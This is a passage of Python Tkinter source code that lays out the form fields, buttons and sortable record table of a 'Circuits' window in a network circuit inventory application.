Button(self.CircuitsFrame, text = 'Traceroute PE', command = self.Call_Button_TraceroutePE, state=DISABLED)\r\n self.ButtonDeviceTraceroutePE.place(x = 638, y = 98, width=100, height=25)\r\n\r\n self.ButtonDeviceTracerouteCE = Button(self.CircuitsFrame, text = 'Traceroute CE', command = self.Call_Button_TracerouteCE, state=DISABLED)\r\n self.ButtonDeviceTracerouteCE.place(x = 750, y = 98, width=100, height=25)\r\n\r\n\r\n\r\n # Create Progress Bar\r\n self.progress = ttk.Progressbar(self.CircuitsFrame, orient=\"horizontal\",length=500, mode=\"determinate\")\r\n self.progress['maximum'] = 100\r\n self.progress['value'] = 0\r\n self.progress.place(x=450, y=158)\r\n\r\n # Setup Labels\r\n CountryIDFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n CountryIDFrameLabel[\"text\"] = \"Country Name:\"\r\n CountryIDFrameLabel.place(x=10, y=10)\r\n\r\n RegionIDFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n RegionIDFrameLabel[\"text\"] = \"Region Name:\"\r\n RegionIDFrameLabel.place(x=10, y=40)\r\n\r\n FacilityIDFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n FacilityIDFrameLabel[\"text\"] = \"Facility Name:\"\r\n FacilityIDFrameLabel.place(x=10, y=70)\r\n\r\n SitesIDFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n SitesIDFrameLabel[\"text\"] = \"Site Name:\"\r\n SitesIDFrameLabel.place(x=10, y=100)\r\n\r\n # Setup Labels and Entry\r\n self.CircuitIDFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitIDFrameLabel[\"text\"] = \"Circuit ID:\"\r\n self.CircuitIDFrameLabel.place(x=10, y=130)\r\n self.CircuitIDFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitIDFrameEntry['width']=50\r\n self.CircuitIDFrameEntry.place(x=110, y=130)\r\n self.CircuitIDFrameEntry['state'] = DISABLED\r\n \r\n self.CircuitsDescriptionFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitsDescriptionFrameLabel[\"text\"] = \"Description:\"\r\n self.CircuitsDescriptionFrameLabel.place(x=10, y=160)\r\n self.CircuitsDescriptionFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitsDescriptionFrameEntry['width']=50\r\n self.CircuitsDescriptionFrameEntry.place(x=110, y=160)\r\n self.CircuitsDescriptionFrameEntry['state'] = DISABLED \r\n\r\n # ComboBox for Type, Model, Status\r\n \r\n TypeIDFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n TypeIDFrameLabel[\"text\"] = \"Type:\"\r\n TypeIDFrameLabel.place(x=10, y=190)\r\n self.CircuitComboBoxTypeID = ttk.Combobox(self.CircuitsFrame, state='disabled', width = 20)\r\n #self.CircuitComboBoxTypeID.bind(\"<>\", self.on_Circuits_type_combo_changed)\r\n self.CircuitComboBoxTypeID.place(x = 55, y = 190)\r\n\r\n self.ModelIDFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.ModelIDFrameLabel[\"text\"] = \"Port Speed:\"\r\n self.ModelIDFrameLabel.place(x=205, y=190)\r\n self.CircuitsComboBoxPortSpeed = ttk.Combobox(self.CircuitsFrame, state='disabled', width = 20)\r\n self.CircuitsComboBoxPortSpeed.place(x = 280, y = 190)\r\n #self.CircuitsComboBoxPortSpeed.bind(\"<>\", self.on_country_combo_changed)\r\n\r\n self.CircuitsBandwidthFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitsBandwidthFrameLabel[\"text\"] = \"Bandwidth:\"\r\n self.CircuitsBandwidthFrameLabel.place(x=430, y=190)\r\n self.CircuitsBandwidthFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitsBandwidthFrameEntry['width']=17\r\n self.CircuitsBandwidthFrameEntry.place(x=510, y=190)\r\n self.CircuitsBandwidthFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitStatusFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitStatusFrameLabel[\"text\"] = \"Status:\"\r\n self.CircuitStatusFrameLabel.place(x=625, y=190)\r\n self.CircuitsComboBoxStatus = ttk.Combobox(self.CircuitsFrame, state='disabled', width = 20)\r\n self.CircuitsComboBoxStatus.place(x = 675, y = 190)\r\n\r\n self.CircuitTermFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitTermFrameLabel[\"text\"] = \"Term:\"\r\n self.CircuitTermFrameLabel.place(x=825, y=190)\r\n self.CircuitTermFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitTermFrameEntry['width']=6\r\n self.CircuitTermFrameEntry.place(x=870, y=190)\r\n self.CircuitTermFrameEntry['state'] = DISABLED\r\n self.CircuitComboBoxTerm = ttk.Combobox(self.CircuitsFrame, state='disabled', width = 10)\r\n self.CircuitComboBoxTerm.place(x = 915, y = 189)\r\n\r\n # Setup Labels and Button Calendars Installed, Activated, Disconnected\r\n self.CircuitsInstalledDateFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitsInstalledDateFrameLabel[\"text\"] = \"Installed Date:\"\r\n self.CircuitsInstalledDateFrameLabel.place(x=10, y=220)\r\n self.CircuitsInstalledDateFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitsInstalledDateFrameEntry['width']=20\r\n self.CircuitsInstalledDateFrameEntry.place(x=130, y=220)\r\n self.CircuitsInstalledDateFrameEntry['state'] = DISABLED\r\n self.CircuitsButtonInstalledDate = Button(self.CircuitsFrame, text = 'Calendar', command = self.Call_Button_Installed_Date, state=DISABLED)\r\n self.CircuitsButtonInstalledDate.place(x = 260 , y = 217, width=75, height=25)\r\n self.CircuitsButtonInstalledDateClear = Button(self.CircuitsFrame, text = 'Clear Date', command = self.Call_Button_Installed_Date_Clear, state=DISABLED)\r\n self.CircuitsButtonInstalledDateClear.place(x = 345 , y = 217, width=75, height=25)\r\n\r\n\r\n self.CircuitsContractNoFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitsContractNoFrameLabel[\"text\"] = \"Contract No:\"\r\n self.CircuitsContractNoFrameLabel.place(x=430, y=220)\r\n self.CircuitsContractNoFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitsContractNoFrameEntry['width']=17\r\n self.CircuitsContractNoFrameEntry.place(x=510, y=220)\r\n self.CircuitsContractNoFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitAccountNoFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitAccountNoFrameLabel[\"text\"] = \"Account No:\"\r\n self.CircuitAccountNoFrameLabel.place(x=625, y=220)\r\n self.CircuitAccountNoFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitAccountNoFrameEntry['width']=20\r\n self.CircuitAccountNoFrameEntry.place(x=725, y=220)\r\n self.CircuitAccountNoFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitOrderNoFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitOrderNoFrameLabel[\"text\"] = \"Order No:\"\r\n self.CircuitOrderNoFrameLabel.place(x=855, y=220)\r\n self.CircuitOrderNoFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitOrderNoFrameEntry['width']=20\r\n self.CircuitOrderNoFrameEntry.place(x=925, y=220)\r\n self.CircuitOrderNoFrameEntry['state'] = DISABLED\r\n\r\n\r\n self.CircuitCarrierFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitCarrierFrameLabel[\"text\"] = \"Carrier:\"\r\n self.CircuitCarrierFrameLabel.place(x=1060, y=220)\r\n self.CircuitComboBoxCarrier = ttk.Combobox(self.CircuitsFrame, state='disabled', width = 20)\r\n self.CircuitComboBoxCarrier.place(x = 1145, y = 220)\r\n\r\n\r\n self.CircuitsActivatedDateFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitsActivatedDateFrameLabel[\"text\"] = \"Activated Date:\"\r\n self.CircuitsActivatedDateFrameLabel.place(x=10, y=250)\r\n self.CircuitsActivatedDateFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitsActivatedDateFrameEntry['width']=20\r\n self.CircuitsActivatedDateFrameEntry.place(x=130, y=250)\r\n self.CircuitsActivatedDateFrameEntry['state'] = DISABLED\r\n self.CircuitsButtonActivatedDate = Button(self.CircuitsFrame, text = 'Calendar', command = self.Call_Button_Activated_Date, state=DISABLED)\r\n self.CircuitsButtonActivatedDate.place(x = 260 , y = 247, width=75, height=25)\r\n self.CircuitsButtonActivatedDateClear = Button(self.CircuitsFrame, text = 'Clear Date', command = self.Call_Button_Activated_Date_Clear, state=DISABLED)\r\n self.CircuitsButtonActivatedDateClear.place(x = 345 , y = 247, width=75, height=25)\r\n\r\n\r\n self.CircuitCEASNFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitCEASNFrameLabel[\"text\"] = \"CE ASN No:\"\r\n self.CircuitCEASNFrameLabel.place(x=430, y=250)\r\n self.CircuitCEASNFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitCEASNFrameEntry['width']=17\r\n self.CircuitCEASNFrameEntry.place(x=510, y=250)\r\n self.CircuitCEASNFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitCEIPAddressFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitCEIPAddressFrameLabel[\"text\"] = \"CE IP Address:\"\r\n self.CircuitCEIPAddressFrameLabel.place(x=625, y=250)\r\n self.CircuitCEIPAddressFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitCEIPAddressFrameEntry['width']=20\r\n self.CircuitCEIPAddressFrameEntry.place(x=725, y=250)\r\n self.CircuitCEIPAddressFrameEntry['state'] = DISABLED\r\n self.CircuitCEIPAddressFrameEntry.bind(\"\", self.Get_CE_IPAddress)\r\n\r\n self.CircuitVLANNoFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitVLANNoFrameLabel[\"text\"] = \"VLAN No:\"\r\n self.CircuitVLANNoFrameLabel.place(x=855, y=250)\r\n self.CircuitVLANNoFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitVLANNoFrameEntry['width']=20\r\n self.CircuitVLANNoFrameEntry.place(x=925, y=250)\r\n self.CircuitVLANNoFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitNPANXXFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitNPANXXFrameLabel[\"text\"] = \"NPA-NXX:\"\r\n self.CircuitNPANXXFrameLabel.place(x=1060, y=250)\r\n self.CircuitNPANXXFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitNPANXXFrameEntry['width']=20\r\n self.CircuitNPANXXFrameEntry.place(x=1145, y=250)\r\n self.CircuitNPANXXFrameEntry['state'] = DISABLED\r\n\r\n\r\n self.CircuitPEASNFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitPEASNFrameLabel[\"text\"] = \"PE ASN No:\"\r\n self.CircuitPEASNFrameLabel.place(x=430, y=280)\r\n self.CircuitPEASNFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitPEASNFrameEntry['width']=17\r\n self.CircuitPEASNFrameEntry.place(x=510, y=280)\r\n self.CircuitPEASNFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitPEIPAddressFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitPEIPAddressFrameLabel[\"text\"] = \"PE IP Address:\"\r\n self.CircuitPEIPAddressFrameLabel.place(x=625, y=280)\r\n self.CircuitPEIPAddressFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitPEIPAddressFrameEntry['width']=20\r\n self.CircuitPEIPAddressFrameEntry.place(x=725, y=280)\r\n self.CircuitPEIPAddressFrameEntry['state'] = DISABLED\r\n self.CircuitPEIPAddressFrameEntry.bind(\"\", self.Get_PE_IPAddress)\r\n\r\n self.CircuitPESwitchFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitPESwitchFrameLabel[\"text\"] = \"PE Switch:\"\r\n self.CircuitPESwitchFrameLabel.place(x=855, y=280)\r\n self.CircuitPESwitchFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitPESwitchFrameEntry['width']=20\r\n self.CircuitPESwitchFrameEntry.place(x=925, y=280)\r\n self.CircuitPESwitchFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitPELocationFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitPELocationFrameLabel[\"text\"] = \"PE Location:\"\r\n self.CircuitPELocationFrameLabel.place(x=1060, y=280)\r\n self.CircuitPELocationFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitPELocationFrameEntry['width']=20\r\n self.CircuitPELocationFrameEntry.place(x=1145, y=280)\r\n self.CircuitPELocationFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitsDisconnectedDateFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitsDisconnectedDateFrameLabel[\"text\"] = \"Disconnected Date:\"\r\n self.CircuitsDisconnectedDateFrameLabel.place(x=10, y=280)\r\n self.CircuitsDisconnectedDateFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitsDisconnectedDateFrameEntry['width']=20\r\n self.CircuitsDisconnectedDateFrameEntry.place(x=130, y=280)\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = DISABLED\r\n self.CircuitsButtonDisconnectedDate = Button(self.CircuitsFrame, text = 'Calendar', command = self.Call_Button_Disconnected_Date, state=DISABLED)\r\n self.CircuitsButtonDisconnectedDate.place(x = 260 , y = 277, width=75, height=25)\r\n self.CircuitsButtonDisconnectedDateClear = Button(self.CircuitsFrame, text = 'Clear Date', command = self.Call_Button_Disconnected_Date_Clear, state=DISABLED)\r\n self.CircuitsButtonDisconnectedDateClear.place(x = 345 , y = 277, width=75, height=25)\r\n\r\n\r\n self.CircuitsExpirationDateFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitsExpirationDateFrameLabel[\"text\"] = \"Expiration Date:\"\r\n self.CircuitsExpirationDateFrameLabel.place(x=10, y=310)\r\n self.CircuitsExpirationDateFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitsExpirationDateFrameEntry['width']=20\r\n self.CircuitsExpirationDateFrameEntry.place(x=130, y=310)\r\n self.CircuitsExpirationDateFrameEntry['state'] = DISABLED\r\n self.CircuitsButtonExpirationDate = Button(self.CircuitsFrame, text = 'Calendar', command = self.Call_Button_Expiration_Date, state=DISABLED)\r\n self.CircuitsButtonExpirationDate.place(x = 260 , y = 307, width=75, height=25)\r\n self.CircuitsButtonExpirationDateClear = Button(self.CircuitsFrame, text = 'Clear Date', command = self.Call_Button_Expiration_Date_Clear, state=DISABLED)\r\n self.CircuitsButtonExpirationDateClear.place(x = 345 , y = 307, width=75, height=25)\r\n\r\n\r\n self.CircuitMonthlyCostFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitMonthlyCostFrameLabel[\"text\"] = \"Monthly $:\"\r\n self.CircuitMonthlyCostFrameLabel.place(x=430, y=310)\r\n self.CircuitMonthlyCostFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitMonthlyCostFrameEntry['width']=17\r\n self.CircuitMonthlyCostFrameEntry.place(x=510, y=310)\r\n self.CircuitMonthlyCostFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitETFFrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitETFFrameLabel[\"text\"] = \"Early Term Fees $:\"\r\n self.CircuitETFFrameLabel.place(x=625, y=310)\r\n self.CircuitETFFrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitETFFrameEntry['width']=20\r\n self.CircuitETFFrameEntry.place(x=750, y=310)\r\n self.CircuitETFFrameEntry['state'] = DISABLED\r\n\r\n self.CircuitDMARK1FrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitDMARK1FrameLabel[\"text\"] = \"DMARK Info 1:\"\r\n self.CircuitDMARK1FrameLabel.place(x=10, y=340)\r\n self.CircuitDMARK1FrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitDMARK1FrameEntry['width']=137\r\n self.CircuitDMARK1FrameEntry.place(x=130, y=340)\r\n self.CircuitDMARK1FrameEntry['state']=DISABLED\r\n\r\n self.CircuitDMARK2FrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitDMARK2FrameLabel[\"text\"] = \"DMARK Info 2:\"\r\n self.CircuitDMARK2FrameLabel.place(x=10, y=370)\r\n self.CircuitDMARK2FrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitDMARK2FrameEntry['width']=137\r\n self.CircuitDMARK2FrameEntry.place(x=130, y=370)\r\n self.CircuitDMARK2FrameEntry['state']=DISABLED\r\n\r\n self.CircuitLEC1FrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitLEC1FrameLabel[\"text\"] = \"LEC 1:\"\r\n self.CircuitLEC1FrameLabel.place(x=10, y=400)\r\n self.CircuitLEC1FrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitLEC1FrameEntry['width']=50\r\n self.CircuitLEC1FrameEntry.place(x=130, y=400)\r\n self.CircuitLEC1FrameEntry['state']=DISABLED\r\n\r\n self.CircuitLEC2FrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitLEC2FrameLabel[\"text\"] = \"LEC 2:\"\r\n self.CircuitLEC2FrameLabel.place(x=460, y=400)\r\n self.CircuitLEC2FrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitLEC2FrameEntry['width']=50\r\n self.CircuitLEC2FrameEntry.place(x=520, y=400)\r\n self.CircuitLEC2FrameEntry['state']=DISABLED\r\n\r\n self.CircuitLEC3FrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitLEC3FrameLabel[\"text\"] = \"LEC 3:\"\r\n self.CircuitLEC3FrameLabel.place(x=840, y=400)\r\n self.CircuitLEC3FrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitLEC3FrameEntry['width']=50\r\n self.CircuitLEC3FrameEntry.place(x=900, y=400)\r\n self.CircuitLEC3FrameEntry['state']=DISABLED\r\n\r\n\r\n self.CircuitLEC4FrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitLEC4FrameLabel[\"text\"] = \"LEC 4:\"\r\n self.CircuitLEC4FrameLabel.place(x=10, y=430)\r\n self.CircuitLEC4FrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitLEC4FrameEntry['width']=50\r\n self.CircuitLEC4FrameEntry.place(x=130, y=430)\r\n self.CircuitLEC4FrameEntry['state']=DISABLED\r\n\r\n self.CircuitLEC5FrameLabel = Label(self.CircuitsFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n self.CircuitLEC5FrameLabel[\"text\"] = \"LEC 5:\"\r\n self.CircuitLEC5FrameLabel.place(x=460, y=430)\r\n self.CircuitLEC5FrameEntry = Entry(self.CircuitsFrame)\r\n self.CircuitLEC5FrameEntry['width']=50\r\n self.CircuitLEC5FrameEntry.place(x=520, y=430)\r\n self.CircuitLEC5FrameEntry['state']=DISABLED\r\n\r\n #------------------ TREE VIEW For Circuits Database -----------------------------------\r\n # Create Tree and Scrollbars \r\n self.CircuitsTreeviewDataColumns = ('Circuits ID','Description','Carrier ID','Type','Speed','BW',\r\n 'Monthly Cost','ETF','Installed',\r\n 'Activated','Disconnected','Status','Contract No','Expiration',\r\n 'Added By')\r\n \r\n self.CircuitsTreeview = ttk.Treeview(self.CircuitsFrame,columns=self.CircuitsTreeviewDataColumns, height=8) # <--- Make sure the frame is correct !!\r\n self.CircuitsTreeviewysb = Scrollbar(self.CircuitsFrame,orient=VERTICAL, command=self.CircuitsTreeview.yview) # <--- Make sure the frame is correct !!\r\n self.CircuitsTreeviewxsb = Scrollbar(self.CircuitsFrame,orient=HORIZONTAL, command=self.CircuitsTreeview.xview) # <--- Make sure the frame is correct !!\r\n self.CircuitsTreeview['yscroll'] = self.CircuitsTreeviewysb.set\r\n self.CircuitsTreeview['xscroll'] = self.CircuitsTreeviewxsb.set\r\n\r\n # setup headings and column \r\n self.CircuitsTreeview.heading('#0', text='Item No.', anchor=W) # E for East and W for West and CENTER\r\n self.CircuitsTreeview.heading('#1', text='Circuits ID', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Circuits ID', False)) # E for East and W for West\r\n self.CircuitsTreeview.heading('#2', text='Description', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Description', False)) # E for East and W for West\r\n self.CircuitsTreeview.heading('#3', text='Carrier ID', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Carrier ID', False)) # E for East and W for West\r\n self.CircuitsTreeview.heading('#4', text='Type', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Type', False)) # E for East and W for West\r\n self.CircuitsTreeview.heading('#5', text='Speed', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Speed', False)) # E for East and W for West\r\n self.CircuitsTreeview.heading('#6', text='BW', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'BW', False))\r\n #self.CircuitsTreeview.heading('#6', text='CE ASN', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'CE ASN', False))\r\n #self.CircuitsTreeview.heading('#7', text='CE IP', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'CE IP', False))\r\n #self.CircuitsTreeview.heading('#8', text='PE ASN', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'PE ASN', False))\r\n #self.CircuitsTreeview.heading('#9', text='PE IP', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'PE IP', False))\r\n #self.CircuitsTreeview.heading('#10', text='VLAN No', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'VLAN No', False))\r\n self.CircuitsTreeview.heading('#7', text='Monthly Cost', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Monthly Cost', False))\r\n self.CircuitsTreeview.heading('#8', text='ETF', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'ETF', False))\r\n self.CircuitsTreeview.heading('#9', text='Installed', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Installed', False))\r\n self.CircuitsTreeview.heading('#10', text='Activated', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Activated', False))\r\n self.CircuitsTreeview.heading('#11', text='Disconnected', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Disconnected', False))\r\n self.CircuitsTreeview.heading('#12', text='Status', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Status', False))\r\n self.CircuitsTreeview.heading('#13', text='Contract No', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Contract No', False))\r\n self.CircuitsTreeview.heading('#14', text='Expiration', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Expiration', False))\r\n self.CircuitsTreeview.heading('#15', text='Added By', anchor=W,command=lambda: self.treeview_sort_column(self.CircuitsTreeview, 'Added By', False)) \r\n \r\n self.CircuitsTreeview.column('#0', stretch=1, width=3 , anchor=W)\r\n self.CircuitsTreeview.column('#1', stretch=1, width=10, anchor=W)\r\n self.CircuitsTreeview.column('#2', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#3', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#4', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#5', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#6', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#7', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#8', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#9', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#10', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#11', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#12', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#13', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#14', stretch=1, width=10)\r\n self.CircuitsTreeview.column('#15', stretch=1, width=10)\r\n #self.CircuitsTreeview.column('#16', stretch=1, width=10)\r\n #self.CircuitsTreeview.column('#17', stretch=1, width=10)\r\n #self.CircuitsTreeview.column('#18', stretch=1, width=10)\r\n #self.CircuitsTreeview.column('#19', stretch=1, width=10)\r\n\r\n\r\n\r\n # add tree and scrollbars to frame\r\n self.CircuitsTreeview.grid(row=1, column=0, sticky=NSEW)\r\n self.CircuitsTreeviewysb.grid(row=1, column=1, sticky=NS)\r\n self.CircuitsTreeviewxsb.grid(row=2, column=0, sticky=EW)\r\n\r\n # create fonts and tags\r\n # Use later to mark Business Units per color.\r\n self.CircuitsTreeview.tag_configure('None', font=('Helvetica', 8), background='gray1')\r\n #self.CircuitsTreeview.tag_configure('Active', font=('Helvetica', 8), background='green2')\r\n self.CircuitsTreeview.tag_configure('Inactive', font=('Helvetica', 8), background='ivory3') # 'red'\r\n self.CircuitsTreeview.tag_configure('In Process', font=('Helvetica', 8), background='green3')\r\n self.CircuitsTreeview.tag_configure('Billed', font=('Helvetica', 8), background='yellow2')\r\n self.CircuitsTreeview.tag_configure('Research', font=('Helvetica', 8), background='pink')\r\n\r\n \r\n # Bind the double Click\r\n self.CircuitsTreeview.bind('', self.on_Circuits_Tree_select_click) # When Select the Tree\r\n #self.CircuitsTreeview.bind(\"\", self.On_Circuits_Tree_Refresh) \r\n\r\n #------------------ TREE VIEW For Circuits Database -----------------------------------\r\n\r\n # Setup ComboBox\r\n self.ComboBoxCoutryID = ttk.Combobox(self.CircuitsFrame, state='readonly', width = 50)\r\n self.ComboBoxCoutryID.bind(\"<>\", self.on_country_combo_changed)\r\n self.ComboBoxCoutryID.place(x = 110, y = 10)\r\n\r\n self.ComboBoxRegionID = ttk.Combobox(self.CircuitsFrame, state='disabled', width = 50)\r\n self.ComboBoxRegionID.bind(\"<>\", self.on_region_combo_changed)\r\n self.ComboBoxRegionID.place(x = 110, y = 40)\r\n\r\n self.ComboBoxFacilityID = ttk.Combobox(self.CircuitsFrame, state='disabled', width = 50)\r\n self.ComboBoxFacilityID.bind(\"<>\", self.on_facility_combo_changed)\r\n self.ComboBoxFacilityID.place(x = 110, y = 70)\r\n\r\n self.ComboBoxSitesID = ttk.Combobox(self.CircuitsFrame, state='disabled', width = 50)\r\n self.ComboBoxSitesID.bind(\"<>\", self.on_sites_combo_changed)\r\n self.ComboBoxSitesID.place(x = 110, y = 100)\r\n\r\n # Get the Type and Models\r\n self.Get_Type_PortSpeed_and_Satus()\r\n if (self.Is_Get_Type_and_Model):\r\n if (self.Go_To_Location):\r\n self.CountryID_Pre = self.Init_Country\r\n self.RegionID_Pre = self.Init_Region\r\n self.FacilityID_Pre = self.Init_Facility\r\n self.SitesID_Pre = self.Init_Site\r\n self.Selection = 'cancel_edit'\r\n self.on_Country_Table_Refresh()\r\n if (self.sql_querry):\r\n self.ComboBoxCoutryID.current(0) \r\n self.on_Region_Table_Refresh()\r\n if (self.sql_querry):\r\n self.ComboBoxRegionID.current(0)\r\n self.on_Facility_Table_Refresh()\r\n if (self.sql_querry):\r\n self.ComboBoxFacilityID.current(0)\r\n self.on_Sites_Table_Refresh()\r\n if (self.sql_querry):\r\n self.ComboBoxSitesID.current(0)\r\n self.on_sites_combo_changed(\"event\")\r\n self.Selection = 'edit_ok'\r\n else:\r\n self.on_Country_Table_Refresh()\r\n #self.db.Disconnect() # No needit for now since the Connection is alrady been done and it is faster.\r\n self.CircuitsWindow.mainloop()\r\n #else:\r\n #self.db.Disconnect()\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n\r\ndef Main():\r\n print (\"Testing the Circuits Class....:\")\r\n location = []\r\n #location = ['UNKNOWN','UNKNOWN','UNKNOWN','UNKNOWN']\r\n Circuits = Class_Circuits(\"BV\",Windows_Scaling,location)\r\n Circuits.Display_Circuits_Window()\r\n\r\n\r\nif __name__ == '__main__':\r\n 